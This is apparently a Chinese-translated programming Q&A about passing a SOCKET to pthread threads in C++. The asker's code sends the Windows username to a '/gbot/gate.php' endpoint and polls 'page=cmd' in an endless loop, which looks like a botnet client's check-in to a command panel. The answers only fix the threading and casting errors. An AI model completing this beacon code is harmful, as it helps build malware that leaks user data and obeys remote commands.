【问题标题】:c++ multithreading errors and SOCKETc++多线程错误和SOCKET
【发布时间】:2013-04-10 16:41:11
【问题描述】:
    void* sendFirstReq(SOCKET Socket){
        char buffer[10000];
        string mybuf("GET /gbot/gate.php?page=ident&os=");
        if(getenv("windir") != NULL){
            mybuf += "windows&username=";
            mybuf += getenv("username");
            mybuf += "&version=win";
            mybuf += "\r\n\r\n";
        }
        else
            mybuf += "linux\r\n\r\n";
        send(Socket, mybuf.c_str(), mybuf.length(), 0);
        recv(Socket, buffer, 10000, 0);
        cout << buffer;
}

void* sendSecReq(SOCKET Socket){
    char buffer[10000];
    string mybuf("GET /gbot/gate.php?page=cmd\r\n\r\n");
    send(Socket, mybuf.c_str(), mybuf.length(), 0);
    recv(Socket, buffer, 10000, 0);
    cout << buffer;
}

while(true)
    {
        pthread_t t1;
        pthread_t t2;
        pthread_create(&t1, NULL, &sendFirstReq, NULL);
        pthread_create(&t1, NULL, &sendSecReq, NULL);
        _sleep(5000);
    }

这是我项目中的一段代码。 我想做多线程,但我得到一堆错误。 首先,void* 函数必须得到一个 void* arg,所以我可以通过 SOCKET 发送吗? 另一个错误是:

初始化 `int pthread_create(pthread_t*, pthread_attr_t_* const*, void*()(void), void*)'

我不知道如何解决它,谢谢您的帮助。

【问题讨论】:

    标签: c++ windows multithreading


    【解决方案1】:

    当你实现多线程时,请确保在不同的套接字上发送和接收! 也就是说,传递 void* 参数的最佳方式是结构,但我相信您可以在 void* 中发送不同的数据类型,只需确保对其进行切片

    例子:

    void* sendFirstReq(void* arg);
    SOCKET socket;
    pthread_t a;
    pthread_create(&a,NULL,sendFirstReq(),(void*)&socket);
    

    在 sendFirstReq() 中,对参数进行切片 (SOCKET*)arg;

    看到这个 :: Passing parameter to pthread

    【讨论】:

    • 您的意思是“演员”,而不是“切片”。切片在 C++ 中是另一回事。另请注意,从 T* 到 void* 的转换是隐式的。反过来需要强制转换,这应该是 static_cast。如果可以避免,请不要使用 C 风格的强制转换,它们很危险。
    • 谢谢,我没有使用它,因为上面的方法通常对我有用 :)
    • 是的,你的演员阵容会起作用,这一点毫无疑问。关键是,如果你写例如“(void*)socket”而不是“(void*)&socket”,编译器不会告诉你。如果你对 static_cast 进行同样的尝试,编译器会报错。
    【解决方案2】:

    如果将套接字部分和多线程部分分开会有所帮助,这样您就可以分别处理它们。多线程的问题是您必须使用一个函数来为 POSIX 线程获取并返回一个 void 指针。有两种方法可以通过它传递其他东西。第一种方法是分配一个结构并将指向它的指针传递给 pthread_create:

    void* thread_function(void* p)
    {
        mydata* ps = static_cast<mydata*>(p);
        ...
    }
    
    mydata s = ...;
    pthread_create(..., thread_function, &s);
    

    这里要注意的是s 有一个作用域,你必须确保它在线程使用它时保持活动状态。这可能需要使用 new 进行动态分配,这反过来又需要小心,以免导致内存泄漏。另一种适用于小整数的方法是将它们直接作为指针传递:

    void* thread_function(void* p)
    {
        int x = reinterpret_cast<int>(p);
        ...
    }
    
    int x = ...;
    assert(sizeof x <= sizeof (void*));
    pthread_create(..., thread_function, reinterpret_cast<void*>(x));
    

    由于 SOCKET 只是一个不大于指针的整数,你应该能够做到这一点,这可能是最简单的工作方式。

    【讨论】:

      猜你喜欢
      • 2017-04-29
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2013-04-18
      • 1970-01-01
      • 1970-01-01
      • 2016-02-09
      相关资源
      最近更新 更多